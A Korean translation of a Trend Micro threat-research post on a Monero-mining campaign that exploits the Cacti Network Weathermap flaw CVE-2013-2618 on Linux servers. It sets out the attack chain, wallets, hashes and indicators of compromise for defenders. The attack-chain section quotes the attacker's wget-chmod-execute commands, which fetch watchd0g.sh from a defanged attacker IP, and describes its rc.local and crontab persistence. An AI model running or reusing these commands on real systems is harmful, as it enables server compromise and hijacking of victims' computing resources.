PHP Weathermap 취약점을 통해 배포된 리눅서 서버를 타깃으로 한 가상화폐 채굴기

게시일: 2018-03-28 l 작성자: Trend Micro

합법적인 대규모의 가상화폐 채굴 업체들은 수익을 내기 위해 전용 하드웨어 및 전기 소비에 종종 투자를 하곤 합니다. 사이버 범죄자들은 이러한 점을 노리기도 합니다. 실제로 악의적 가상화폐 채굴은 매우 만연한 일이 되어, 작년 한해 동안 홈 라우터에 연결된 디바이스들에서 가장 많이 탐지된 네트워크 이벤트였습니다.

트렌드마이크로는 자사의 사고 대응 관련 모니터링을 통해 이전의 JenkinsMiner 멀웨어를 사용하는 가상화폐 채굴 캠페인과 연관된 침입 시도를 발견했습니다. 이전의 캠페인과의 다른점은 이번에는 리눅스 서버를 대상으로 한다는 점입니다. 또한 지난 5년동안 패치가 가능했던 오래된 취약점이었기에, 이는 취약점 재사용의 대표적인 사례이기도 합니다.

트렌드마이크로의 Smart Protection Network 에 따르면 가상화폐 채굴 캠페인은 주로 일본, 대만, 중국, 미국, 인도에서 활발히 활동하고 있습니다.


그림 1. 가상화폐 채굴 캠페인에서 관찬된 네트워크 침입 시도


그림 2. 악성 가상화폐 채굴 캠페인의 국가 분포도

공격 체인 분석

해당 캠페인의 운영자들은 시스템 관리자가 네트워크 활동을 시각화하는데 사용하는 Cacti 의 Network Weathermap 플러그인에 기인한 CVE-2013-2618 취약점을 악용했습니다. Network Weathermap 측에서는 2014년 6월부터 현재까지 단 두건의 취약점 공식발표를 하였는데, 이로 인해 공격자들은 오래된 보안 결함을 악용하는 것으로 보입니다. 또한 공격자들은 손쉽게 사용 가능한 보안 결함의 취약점 뿐만 아니라, 오픈소스 툴을 사용하는 기업에서 일어나는 패치래그 (Patch lag) 를 악용합니다.


그림 3. Weathermap 취약점 악용 방법을 보여주는 위협 지표

그림 3에서 볼 수 있듯이

  1. 흐린 부분은 대상 웹 서버 / 포트입니다.
  2. /plugins/weathermap/configs/conn.php 파일은 /plugins/weathermap/php 영구적 XSS (Cross-site scripting) 에서 생성되었습니다.
  3. Cacti와 플러그인이 윈도우에서 설치가 가능함에도 불구하고, 가장 이상적인 공격 대상은 리눅스 웹 서버 입니다.

초기의 conn.php 외에도 ‘cools.php’ 라는 페이지에 비슷한 HTTP 요청이 적용되는 것 또한 목격되었습니다.


그림 4. cools.php 에 들어온 비슷한 HTTP 요청

코멘드들은 아래와 같이 실행됩니다.

  • wget watchd0g.sh hxxp://222[.]184[.]]79[.]11:5317/watchd0g[.]sh
    //대부분의 리눅스 시스템이 보유하고 있는 디폴트 유틸리티인 wget 을 사용하여 파일을 다운로드 합니다.
  • chmod 775 watchd0g.sh
    //파일을 실행 가능하도록 만들어줍니다.
  • ./watchd0g.sh
    //파일을 실행합니다.

watchd0g.sh 파일은 다음의 코드를 가지고 있습니다.


그림 5. watchd0g.sh의 코드 스냅샷

코드는 /etc/rc.local 에 기록됩니다. 즉, 시스템이 재시작 될 때마다 watchd0g.sh 가 실행됩니다. 또한 /etc/crontab 을 수정하게되면 3분 마다 watchd0g.sh 가 운영됩니다. 그 후 리눅스 커널 파라미터인 vm .nr_hugepages 를 Monero 채굴을 위한 권장 값으로 수정합니다. 또한 watchd0g.sh 프로세스가 종료되었을때 다시 실행되거나 재 다운로드가 가능하도록 합니다.

주요 목적은 watchd0g.sh 가 검색된 동일한 서버에서 다른 파일 dada.x86_64 (트렌드마이크로 탐지명: COINMINER_MALXMR.SM-ELF64) 를 다운로드 하는 것 입니다.

Linux XMRig 채굴기 분석

마지막 페이로드 (xig 혹은 nkrb 로 불렸으나 2018년 1월 28일 data.x86_64 로 명명됨) 는 XMRig 채굴기를 수정한 것입니다. 합법적 오픈소스 XMR 채굴기인 XMRig 는 32비트와 64비트의 윈도우와 리눅스 두가지 OS 를 모두 여러가지 업데이트된 버전으로 지원합니다. XMRig 는 코멘드 라인을 통해 실행 될 때 아래 그림과 같이 나타납니다.


그림 6. 코멘드 라인을 통해 실행된 dada.x86_64

XMRig 는 ‘config.json’ 이라 불리는 구성 파일과 함께 실행되어야 합니다. 또는 CPU 사용량을 최대화 시켜주는 알고리즘 (CryptoNight/CryptoNight-Lite), 채굴 서버, 로그인 자격증명 (Monero 지갑과 비밀번호) 와 같은 특정 / 필수 세부 정보를 지정하는 파라미터와 함께 실행되어야 합니다. 그러나 이번 공격에 사용된 샘플은 모든 것이 이미 코드에 내장되어 있기 때문에 구성이나 파라미터가 필요없는 방식으로 변화하였으며, 코멘드 라인 디스플레이 또한 대부분의 샘플에서 나타나지 않습니다.


그림 7. 채굴기에서 특정 / 필수 세부 정보를 지정한 것으로 보이는 파라미터

Monero

트렌드마이크로는 다섯가지의 실현 가능한 샘플을 모아 두 개의 고유한 사용자 이름을 사용하여 마이닝풀 지불이 전송되는 Monero 지갑과 일치시켰습니다.

공격자는 두 개의 지갑을 기준으로 약 320XMR 혹은 약 74,677달러를 벌었습니다 (2018년 3월 21일 기준). 이는 전체 캠페인에 비교하면 아주 적은 금액에 불과합니다. 동일한 캠페인에 대한 이전의 보고서에 따르면 단일의 Monero 지갑에서 약 3백만 달러 상당의 XMR 을 발견한 예가 있습니다.

SHA256 마이닝풀 지갑 주소
690aea53dae908c9afa933d6
0f467a17ec5f72463988eb5af
5956c6cb301455b
pool[.]minexmr[.]
com:443
42zJYtQbSVrYVzoE97RC
n45T9SmfCTGYB9QWDw
6Zt2jwX7BzrfNXvoa4SSs1
n71S3g1NLyPHyx4nKY8K
KtovCqjLPViqYrL
48cf0f374bc3add6e3f73f6db
466f9b62556b49a9f7abbcce
068ea6fb79baa04
pool[.]supportxmr[.]
com:80
42zJYtQbSVrYVzoE97RC
n45T9SmfCTGYB9QWDw
6Zt2jwX7BzrfNXvoa4SSs1
n71S3g1NLyPHyx4nKY8K
KtovCqjLPViqYrL
1155fae112da3072d116f39e9
0f6af5430f44f78638db3f43a6
2a9037baa8333
xmr[.]krbpool[.]
com:443
45AarDcdcDXXdT7aRt2dp
oMwQdEj4WzLyS5YvD4z
DBYRLQFKxudkJMdR98R
myqmSdD4gR4hZusqwmf
k7gF439YmzCnFmKDj
2c7b1707564fb4b228558526
163249a059cf5e90a6e946be
152089f0b69e4025
pool[.]supportxmr[.]
com:80
42zJYtQbSVrYVzoE97RC
n45T9SmfCTGYB9QWDw
6Zt2jwX7BzrfNXvoa4SSs1
n71S3g1NLyPHyx4nKY8K
KtovCqjLPViqYrL
d814bf38f5cf7a58c3469d530
d83106c4fc7653b6be079fc2a
6f73a36b1b35c6
pool[.]supportxmr[.]
com:80
42zJYtQbSVrYVzoE97RC
n45T9SmfCTGYB9QWDw
6Zt2jwX7BzrfNXvoa4SSs1
n71S3g1NLyPHyx4nKY8K
KtovCqjLPViqYrL

그림 8. Monero 지갑이 포함된 샘플

결론

해당 캠페인의 공격 체인에는 아래의 조건이 필요합니다.

  • 사용자 정의 XMRig 채굴기 64비트 ELF 가 제공되는 리눅스 운영 (x86-64) 웹 서버
  • 공개적으로 접근 가능한 웹 서버
  • Cacti (오픈소스, 웹 기반 네트워크 모니터링 및 그래프 도구) 는 플러그인 아키텍처가 작동하고, 오래된 Network Weathermap (0.97a 및 하위 버전) 으로 구현되어야 함.
  • 웹사이트 리소스에 액세스하기 위한 인증을 요구하지 않는 Cacti 를 호스팅 하는 웹 서버
  • 완벽한 실행을 위해 웹 서버가 ‘root’ (또는 동등한) 권한으로 실행되어야 함. (sh 의 일부 명령에는 루트 권한이 필요함)

마지막 세개의 조건에는 의문이 들 수 있습니다. 네트워크 데이터를 공개적으로 공유하려는 이유는 무엇일까요 (Cacti)? 웹 서버는 실제로 ‘root’ 로 실행되고 있을까요?

Cacti 에서 나온 데이터는 내부 환경에 잘 보관 되어야 하지만, 이러한 데이터가 유출되었을 때에는 운영 보안 측면에서 큰 위험이 됩니다. Cacti 에서 나온 데이터는 시스템이나 네트워크 관리자가 서버 환경을 편리하게 환경을 모니터링 하게 하고 (예. 브라우저의 북마크를 통한 접근), 이는 공격자에게도 마찬가지 입니다. 편리한 환경 모니터링을 위한 대안은 있지만, 시스템을 손상시키지 않도록 시스템을 강화하고 보호하기 위한 대응책을 반드시 취해야합니다. 또한 시스템을 최신 패치로 업데이트 하고 기존의 시스템 및 네트워크에 가상패치를 적용하여 잠재적인 공격 또한 사전에 예방해야 합니다.

적극적으로 위협에 대응하는 사전 대응 방식의 전략은 기존의 보안 솔루션이 놓치기 쉬운 지능형 공격에 대한 가시성을 높여줍니다. 따라서 기업은 더 신속하게 공격에 대응할 수 있습니다.

Trend Micro™ Deep Discovery™ 은 특화된 엔진, 사용자 정의가 가능한 샌드박스 및 전체 공격 주기에 걸친 완벽한 상관 관계를 통해 악성 및 유사한 위협을 사용하여 탐지, 심층적인 분석 및 선제적 대응을 제공하고, 엔진 혹은 패턴 업데이트를 하지 않아도 공격을 탐지합니다. Trend Micro™ Deep Discovery Inspector™ 은 아래의 DDI 룰에 기반하여 고객을 공격으로 부터 보호합니다.

  • DDI Rule ID 2452: Wget Commandline Injection

Trend Micro™ Deep Security™Vulnerability Protection 은 다음의 DPI 규칙을 통해 앞서 언급했던 취약점을 타깃으로 하는 위협 (또는 XSS 공격) 으로부터 사용자를 보호합니다.

  • 1005934 – 의심스러운 Command Injection 공격 확인
  • 1006823 – 의심스러운 Command Injection 공격 확인 – 1
  • 1000552 – XSS (Generic Cross Site Scripting) 방지

Trend Micro™ TippingPoint™ 고객은 MainlineDV 필터를 통해 앞서 언급된 위협으로부터 안전하게 보호되고 있습니다.

  • 3886 : HTTP : XSS in POST Request

IoC (Indicators of Compromise)

트렌드마이크로는 공격 IP 주소를 확인하였으나, 이는 원격으로 얼마든지 제어가 될 수 있는 부분이므로, 리스트를 나열하는 것은 의미가 없습니다. 또한 HTTP User-Agent ‘python-requests/2.18.4’ 를 사용하여 해당 캠페인에서 사용 된 Python 으로 작성된 툴을 발견하였습니다.

SHA256 Description
4a70da8ad6432d7aa639e6c5
e0c03958eebb3728ef89e74c
028807dd5d68e2b4
Bourne-Again shell script ASCII text executable
0adadc3799d06b35465107f9
8c07bd7eef5cb842b2cf09eba
eaa3773c1f02343
ELF 64-bit LSB executable x86-64 version 1 (GNU/Linux)
dynamically linked interpreter /lib64/ld-linux-x86-64.so.2 for
GNU/Linux 2.6.32
BuildID[sha1]=7b9059fbf5f223af2bf1d
83251d640e0f60bbe00 stripped
d814bf38f5cf7a58c3469d530
d83106c4fc7653b6be079fc2a
6f73a36b1b35c6
ELF 64-bit LSB executable x86-64 version 1 (GNU/Linux)
dynamically linked interpreter /lib64/ld-linux-x86-64.so.2 for
GNU/Linux 2.6.32
BuildID[sha1]=5722b052bfd047b57ec37
10dd948bfc9ee7d7316 stripped
7f30ea52b09d6d9298f4f30b8
045b77c2e422aeeb84541bb5
83118be2425d335
ELF 64-bit LSB executable x86-64 version 1 (GNU/Linux) dynamically linked interpreter
/lib64/ld-linux-x86-64.so.2 for GNU/Linux 2.6.32
BuildID[sha1]=9bc00ee0d5261d8bb29
b753b8436a1c54bd19c94 stripped
690aea53dae908c9afa933d6
0f467a17ec5f72463988eb5af
5956c6cb301455b
ELF 64-bit LSB executable x86-64 version 1 (SYSV)
dynamically linked interpreter /lib64/ld-linux-x86-
64.so.2 for GNU/Linux 2.6.18 stripped
1155fae112da3072d116f39e9
0f6af5430f44f78638db3f43a6
2a9037baa8333
ELF 64-bit LSB executable x86-64 version 1 (SYSV)
dynamically linked interpreter /lib64/ld-linux-x86-
64.so.2 for GNU/Linux 2.6.18 stripped
2c7b1707564fb4b228558526
163249a059cf5e90a6e946be
152089f0b69e4025
ELF 64-bit LSB executable x86-64 version 1 (SYSV)
dynamically linked interpreter /lib64/ld-linux-x86-
64.so.2 for GNU/Linux 2.6.18 stripped
48cf0f374bc3add6e3f73f6db4
66f9b62556b49a9f7abbcce06
8ea6fb79baa04
ELF 64-bit LSB executable x86-64 version 1 (SYSV)
dynamically linked interpreter /lib64/ld-linux-x86-
64.so.2 for GNU/Linux 2.6.18 stripped

악성 및 변환된 XMRig 채굴기에 관련된 IP 주소와 URL 은 아래와 같습니다.

  • 222[.]184[.]79[.]11
  • bbc[.]servehalflife[.]com
  • 190[.]60[.]206[.]11
  • 182[.]18[.]8[.]69
  • jbos[.]7766[.]org
  • 115[.]231[.]218[.]38

[원문: Cryptocurrency Miner Distributed via PHP Weathermap Vulnerability, Targets Linux Servers]